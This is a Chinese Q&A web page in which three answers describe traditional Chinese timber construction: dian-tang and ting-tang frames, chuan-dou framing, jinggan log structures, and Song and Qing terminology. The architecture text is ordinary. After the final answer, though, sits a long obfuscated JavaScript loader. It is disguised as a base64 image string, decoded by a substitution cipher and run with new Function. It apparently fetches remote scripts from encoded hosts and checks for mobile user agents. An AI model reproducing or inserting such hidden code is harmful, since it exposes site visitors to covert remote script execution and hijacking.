中国建筑的类型

几种
2025-02-08 00:15:45
推荐回答(3个)
回答1:

从远古到汉代的木结构的形式迄今未能完全了解,仍在探索中。从半坡遗址到商代盘龙城遗址、西周周原建筑遗址、汉代礼制建筑、石阙等,虽已有复原研究,但还都未能得出系统的结论,只能看出一些脉络:①殷商的墓室均用井干式结构,后代虽不普遍使用,但在木结构发展史中却有重要作用。②自商代至战国宫殿遗址中已发掘的平面柱网布置,均纵向成行列而横向常不成行列。据此可推断屋架构造,系以纵架为主,直至汉代仍有应用,故纵架应是早期普遍使用的构造形式。后来,辽金时期偶然也有使用纵架承托横架的构造,那是经过改进提高的纵架。③自西周开始已用栌斗作为结合柱、梁的构件,以后逐步发展成栌斗上用拱、昂等组合成铺作(见斗拱)的复杂构造形式。

现在知道最早的关于具体的结构形式的记录,是宋代《营造法式》中的殿堂结构、厅堂结构、簇角梁结构三种。根据现存实例,可以推断这三种结构至少在唐初即已普遍应用。它们的特点如下所述。

殿堂结构:全部结构按水平方向分为柱额、铺作、屋顶三个整体构造层,自下至上逐层安装,叠垒而成。如造楼房,只须增加柱额和铺作层(平坐)即可。应用这种结构的房屋,平面均为长方形。有四种地盘分槽形式,即金箱斗底槽、双槽、单槽和分心斗底槽。

厅堂结构:用横向的垂直屋架。每个屋架由若干长短不等的柱梁组合而成,只在外檐柱上使用铺作。每两个屋架间用椽、襻间等连接成间。每座房屋的间数不受限制,屋架只要椽数、相应步架的椽平长相等,各屋架所用梁柱数量、组合方式可以不同,因此不必规定平面形式。厅堂结构施工较殿堂结构简便,但不宜建造多层房屋。用厅堂结构建造小规模房屋,不用铺作,称为"柱梁作",应用普遍。现存实例中,还有一种综合殿堂和厅堂结构的形式,如奉国寺大殿,用纵、横、竖三个方向的柱、梁、铺作等构件,互相交错,组成一个整体,施工繁难,辽金以后未见再用。

簇角梁结构:用于正圆或正多边形平面的建筑,每个柱头上的角梁与中心的枨杆(雷公柱)相交,组成圆或方锥形屋顶。

宋式簇角梁构架示意

在明清官式建筑中,殿堂结构仅存表面形式,实际均为厅堂结构,称"大木大式"。普遍应用的"柱梁作",称为"大木小式"。而簇角梁,则称为"攒尖",多用于小型亭榭。

此外,在长江流域和东南、西南地区,习惯用穿斗式构架。它与厅堂结构同属横向垂直的屋架,但厅堂结构由逐层抬高而减短的梁承受檩和屋顶的重量,故称抬梁式构架。穿斗架用柱直接承檩,不用梁,柱间穿枋仅是连系构件。

构件种类 大木作结构构件,按功能可分为12类。其中拱、昂、爵头、斗4类属铺作构件。

宋代抬梁式构架

根据《营造法式》作如下介绍:

①形制。殿堂型构架内、外柱同高,柱头以上为一水平铺作层,再上即为贯通整个房屋进深方向,随屋面坡度叠架的梁。厅堂型构架内柱升高,没有贯穿整幢房屋进深方向的大梁,在柱间使用较短的梁叠架起来。

②柱。大多加工成梭形,外檐四周的柱子带有生起和侧脚。

③梁。露明的梁称为明伏,被天花遮住的梁称为草伏,明伏有的加工成月梁形式。按每根梁长度和位置的不同称谓,如檐伏、乳伏、平梁、搭牵等。梁的长度以椽架来衡量,一椽架即指一条架在两伏之上的椽子的水平长度,一般梁的长度为几个椽架的长度即称几椽檐伏,但两椽架长的梁在构架最上一层的称为平梁,在内外柱之间的称为乳伏,处于乳伏之上一椽架长的梁称为搭牵。

④铺作。在梁柱交点的斗拱形成铺作层,它既能加强构架的整体性,又能巧妙地吸收、传递来自不同方向的荷载,是抬梁式构架中起结构作用的重要部分。

清代抬梁式构架

根据清工部《工程做法》作如下介绍:

清七檩硬山大木小式构架

①形制。清官式建筑构架有大式、小式之分。大式建筑等级较高,多用斗拱。有的檐柱、内柱同高,上加主要起装饰作用的斗拱层,上承梁架,近似宋式殿堂构架,多数则近似宋式厅堂构架。大式也有不用斗拱的,用材较为粗壮。小式建筑规模小,不用斗拱,用料也较节省。但无论大式或小式建筑均无明伏、草伏的区别。
②柱。抬梁式构架中的柱子按位置定名。位于前、后檐最外一列柱子称为檐柱,位于山墙正中的柱子称为山柱,在建筑的纵中线上的内柱称为中柱,除中柱以外的内柱,均称金柱。从故宫现存建筑看,明代建筑柱子尚保留了侧脚、生起的作法,清代则很不明显。
③梁。每榀梁架中主要的梁,按本身所承托的檩数定称谓,例如上承九檩者称为九架梁,依次有八架梁、七架梁,直至三架梁。梁的长度以步架(即檩间水平距离)来计,九架梁者长八步架,七架梁者长六步架,六架梁者长五步架等。此外,还有几种次要的短梁,如檐柱与金柱间的梁,长仅一步架,在大式建筑中称桃尖梁,在小式建筑中称抱头梁。如果廊宽两步架,桃尖梁加长一倍,称双步梁;这时往往上面还有一道一步架长的短梁,称单步梁。各种类型的梁,截面高宽比,多近于6:5,或5:4,截面近于方形。
④斗拱。元代以后,梁、柱节点上的斗拱逐渐变小,与唐宋建筑中的斗拱相比,结构作用减弱,装饰性加强。到清代斗拱几乎蜕化为装饰性构件。
⑤其他。梁架中的叉手、托脚被取消,纵向的联系构件减少,襻间、串等被统一成檩、垫、枋三位一体的标准作法,称"一檩三件"。

抬梁式构架所形成的结构体系,对中国古代木构建筑的发展起着决定性的作用,也为现代建筑的发展提供了可资借鉴的材料。

穿斗式构架

中国古代建筑木构架的一种形式,这种构架以柱直接承檩,没有梁,原作穿兜架,后简化为"穿逗架"和"穿斗架"。

穿斗式构架示意图

穿斗式构架的特点是沿房屋的进深方向按檩数立一排柱,每柱上架一檩,檩上布椽,屋面荷载直接由檩传至柱,不用梁。每排柱子靠穿透柱身的穿枋横向贯穿起来,成一榀构架。每两榀构架之间使用斗枋和纤子连接起来,形成一间房间的空间构架。斗枋用在檐柱柱头之间,形如抬梁构架中的阑额;纤子用在内柱之间。斗枋、纤子往往兼作房屋阁楼的龙骨。

每檩下有一柱落地,是它的初步形式。根据房屋的大小,可使用"三檩三柱一穿"、"五檩五柱二穿"、"十一檩十一柱五穿"等不同构架。随柱子增多,穿的层数也增多。此法发展到较成熟阶段后,鉴于柱子过密影响房屋使用,有时将穿斗架由原来的每根柱落地改为每隔一根落地,将不落地的柱子骑在穿枋上,而这些承柱穿枋的层数也相应增加。穿枋穿出檐柱后变成挑枋,承托挑檐。这时的穿枋也部分地兼有挑梁的作用。穿斗式构架房屋的屋顶,一般是平坡,不作反凹曲面。有时以垫瓦或加大瓦的叠压长度使接近屋脊的部位微微拱起,取得近似反凹屋面的效果。

穿斗式构架以柱承檩的作法,可能和早期的纵架有一定渊源关系,已有悠久的历史。在汉代画像石中就可以看到汉代穿斗式构架房屋的形象。穿斗式构架用料较少,建造时先在地面上拼装成整榀屋架,然后竖立起来,具有省工、省料,便于施工和比较经济的优点。同时,密列的立柱也便于安装壁板和筑夹泥墙。因此,在中国长江中下游各省,保留了大量明清时代采用穿斗式构架的民居。这些地区有的需要较大空间的建筑,采取将穿斗式构架与抬梁式构架相结合的办法:在山墙部分使用穿斗式构架,当中的几间用抬梁式构架,彼此配合,相得益彰。

穿斗式构架是一种轻型构架,柱径一般为20~30厘米;穿枋断面不过6×12至10×20平方厘米;檩距一般在100厘米以内;椽的用料也较细。椽上直接铺瓦,不加望板、望砖。屋顶重量较轻,有优良的防震性能。

井干式结构

云南南华井干式结构民居

一种不用立柱和大梁的房屋结构。这种结构以圆木或矩形、六角形木料平行向上层层叠置,在转角处木料端部交叉咬合,形成房屋四壁,形如古代井上的木围栏,再在左右两侧壁上立矮柱承脊檩构成房屋。

中国商代墓椁中已应用井干式结构,汉墓仍有应用。目前所见最早的井干式房屋的形象和文献都属汉代。在云南晋宁石寨山出土的铜器中就有双坡顶的井干式房屋。《淮南子》中有"延楼栈道,鸡栖井干"的记载。

井干式结构需用大量木材,在绝对尺度和开设门窗上都受很大限制,因此通用程度不如抬梁式构架和穿斗式构架。中国目前只在东北林区、西南山区尚有个别使用这种结构建造的房屋。云南南华井干式结构民居是井干式结构房屋的实例。它有平房和二层楼,平面都是长方形,面阔两间,上覆悬山屋顶。屋顶做法是左右侧壁顶部正中立短柱承脊檩,椽子搭在脊檩和前后檐墙顶的井干木上,房屋进深只有二椽。

回答2:

中国建筑还是中国传统建筑?传统建筑应该是木结构建筑,类型以宫殿建筑、寺庙建筑、民居为主。

回答3:

①井干式结构
殷商的墓室均用井干式结构,后代虽不普遍使用,但在木结构发展史中却有重要作用。
②平面柱网结构
自商代至战国宫殿遗址中已发掘的平面柱网布置,均纵向成行列而横向常不成行列。据此可推断屋架构造,系以纵架为主,直至汉代仍有应用,故纵架应是早期普遍使用的构造形式。后来,辽金时期偶然也有使用纵架承托横架的构造,那是经过改进提高的纵架。
③框架结构
自西周开始已用栌斗作为结合柱、梁的构件,以后逐步发展成栌斗上用拱、昂等组合成铺作(见斗拱)的复杂构造形式。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();